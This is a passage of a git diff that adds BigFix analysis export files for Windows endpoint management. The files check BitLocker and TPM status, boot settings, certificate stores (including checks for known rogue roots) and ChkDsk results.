+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Relevance>
+    <Relevance>exists (tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;) whose (it = &quot;Protection On&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - Encryption Event Log - Windows" EvaluationPeriod="PT6H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes
new file mode 100644
index 000000000..f5c085990
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Recovery Password - Windows
+  ID       : 2998160
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-31T16:40:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Recovery Password - Windows</Title>
+    <Description><![CDATA[<P>Provides the recovery password for locally encrypted bitlocker drives configured to use a recovery password. This is separate from a pin or password -- a recovery password is a hard-coded value that allows a technician to unlock the drive.</P>
+<P>This analysis requires <STRONG>Fixlet: Invoke - Bitlocker Recovery Password Probe - Windows </STRONG>to be run on the device before it can retrieve the recovery password.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (file whose (name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client) or (exists file &quot;Enable.log&quot; of folder &quot;__Global\Bitlocker&quot; of data folder of client)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - Recovery Password - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;RecoveryPwd.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="2" Name="Bitlocker - Previous Recovery Passwords - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, modification time of it, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;-RecoveryPwd-&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes
new file mode 100644
index 000000000..5bfbe073c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - TPM Status
+  ID       : 2998637
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-05-19T11:04:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - TPM Status</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes
new file mode 100644
index 000000000..a283e25cf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - TPM Status
+  ID       : 2998646
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-09-09T13:06:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - TPM Status</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes
new file mode 100644
index 000000000..891601dfb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker Info - Windows
+  ID       : 2994754
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-12T08:21:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker Info - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="https://en.wikipedia.org/wiki/BitLocker">https://en.wikipedia.org/wiki/BitLocker</A></P>
+<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx</A></P>
+<P><A href="http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx">http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx</A></P>
+<P><A href="http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/">http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 12 Dec 2014 15:10:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MicrosoftVolumeEncryption available?" EvaluationPeriod="PT12H">(exists WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="2" Name="# of Bitlocker available disks?" EvaluationPeriod="PT12H">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="3" Name="OS Should Support BitLocker?" EvaluationPeriod="PT12H">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
+    <Property ID="4" Name="* from win32_EncryptableVolume" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="5" Name="# of encrypted volumes?" EvaluationPeriod="PT12H">number of integer values whose(it = 1) of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="6" Name="ProtectionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
+    <Property ID="7" Name="EncryptionMethod" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
+    <Property ID="8" Name="ConversionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
+    <Property ID="9" Name="VolumeType" EvaluationPeriod="PT12H">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="10" Name="IsVolumeInitializedForProtection" EvaluationPeriod="PT12H">(string values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;IsVolumeInitializedForProtection&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="11" Name="Incorrect Values" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) whose( (integer value of it &lt; 0) AND (name of it != &quot;IsVolumeInitializedForProtection&quot;) ) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes b/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes
new file mode 100644
index 000000000..c19a98dbd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Boot Up Analysis - Windows
+  ID       : 2994790
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T10:54:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Boot Up Analysis - Windows</Title>
+    <Description><![CDATA[<P>The idea is to include any properties that effect windows boot up time in one place. Many of these properties are applicable to Windows Vista, but this was only tested on Windows 7 &amp; 8. Please suggest additions to the this analysis, it could use some expansion. </P>
+<P><A href="http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/">http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/</A></P>
+<P><A href="http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/">http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/</A></P>
+<P>For best performance, "Size of RdyBoostBootPlan" should be less than 524288.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(it = &quot;Win8&quot; OR it = &quot;Win7&quot; OR it = &quot;WinVista&quot;) of name of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 17:54:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Size of RdyBoostBootPlan" EvaluationPeriod="PT12H">unique values of sizes of values &quot;BootPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rdyboost\Parameters&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="2" Name="EnablePrefetcher" EvaluationPeriod="PT12H">values &quot;EnablePrefetcher&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="3" Name="EnableSuperfetch" EvaluationPeriod="PT12H">values &quot;EnableSuperfetch&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes b/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes
new file mode 100644
index 000000000..e47fd2e23
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Certificate Audit - Windows
+  ID       : 2994825
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-11-25T21:15:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Certificate Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 26 Nov 2015 04:14:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Root CAs in Windows" EvaluationPeriod="PT12H">( concatenations &quot; ; &quot; of (preceding text of first &quot;%82%01&quot; of it | it) whose(it != &quot;&quot; AND it does not contain &quot;%00%00%00%01%00%00%00&quot;) of (preceding text of first &quot;%82%0f&quot; of it | it) of (preceding text of first &quot;0%82&quot; of it | it) of (preceding text of first &quot;0%81&quot; of it | it) of (preceding text of first &quot;0%1e%17&quot; of it | it) of (preceding text of last &quot;1&quot; of it | it) of (following text of (start of first (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it) of it) | it) whose(exists (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it)) of (preceding text of first &quot;%06%03&quot; of it | it) of substrings separated by &quot;U%04&quot; of it) of it whose(it contains &quot;U%04&quot;) of (hexadecimal string it) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+    <Property ID="2" Name="eDellRoot?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;eDellRoot&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+    <Property ID="3" Name="DSDTestProvider?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;DSDTestProvider&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes b/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes
new file mode 100644
index 000000000..98e489f87
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Certificates - Windows
+  ID       : 2998390
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Certificates - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on the current state of the Windows Certificate Store.</P>
+<P>This analysis relies on <STRONG>Fixlet</STRONG>: <STRONG>Invoke - Certificate Store Probe - Windows</STRONG> in the C3-Inventory site</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;Last Updated Date&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="7" Name="Certificates - Trusted Third-Party Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\AuthRoot&quot; of native registry</Property>
+    <Property ID="8" Name="Certificates - Trusted Intermediate Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\CA&quot; of native registry</Property>
+    <Property ID="9" Name="Certificates - Trusted Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
+    <Property ID="10" Name="Certificates - Trusted Publishers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\TrustedPublisher&quot; of native registry</Property>
+    <Property ID="11" Name="Certificates - Trusted Roots with Private Key - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Private Key&quot; of it as string as boolean = true) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
+    <Property ID="12" Name="Certificates - Remote Desktop - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Remote Desktop&quot; of native registry</Property>
+    <Property ID="13" Name="Certificates - Trusted Code Signers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Usage&quot; of it as string contains &quot;Code Signing&quot;) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine&quot; of native registry</Property>
+    <Property ID="14" Name="Certificates - My Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not Before&quot; of it, value &quot;Not After&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="15" Name="Certificates - Last Probe - Windows" EvaluationPeriod="PT6H">(value &quot;Last Updated Date&quot; of it as string as date &amp; (value &quot;Last Updated Time&quot; of it as string as time_of_day &amp; local time zone)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Property>
+    <Property ID="16" Name="Certificates - My Certificates Expiring in 30 Days - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 30 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="17" Name="Certificates - My Certificates Expiring in 7 Days - Windows" EvaluationPeriod="PT12H">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 7 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="18" Name="Certificates - My Certificates Expiring in 1 Day - Windows" EvaluationPeriod="PT15M">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 1 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="19" Name="Certificates - My Expired Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &lt; 0 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes b/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes
new file mode 100644
index 000000000..ca1c0c734
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : ChkDsk Audit - Windows
+  ID       : 2994739
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-10-14T13:49:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>ChkDsk Audit - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html">http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html</A></P>
+<P><A href="http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html">http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html</A></P>
+<P><A href="http://kmwoley.com/blog/?p=441">http://kmwoley.com/blog/?p=441</A></P>
+<P><A href="http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7">http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7</A></P>
+<P><A href="http://ericphelps.com/uncheck/index.htm">http://ericphelps.com/uncheck/index.htm</A></P>
+<P><A href="https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/">https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
